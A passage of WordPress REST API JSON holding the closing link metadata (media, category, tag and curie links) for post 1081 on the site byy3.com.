"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1081"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1081"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1081"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}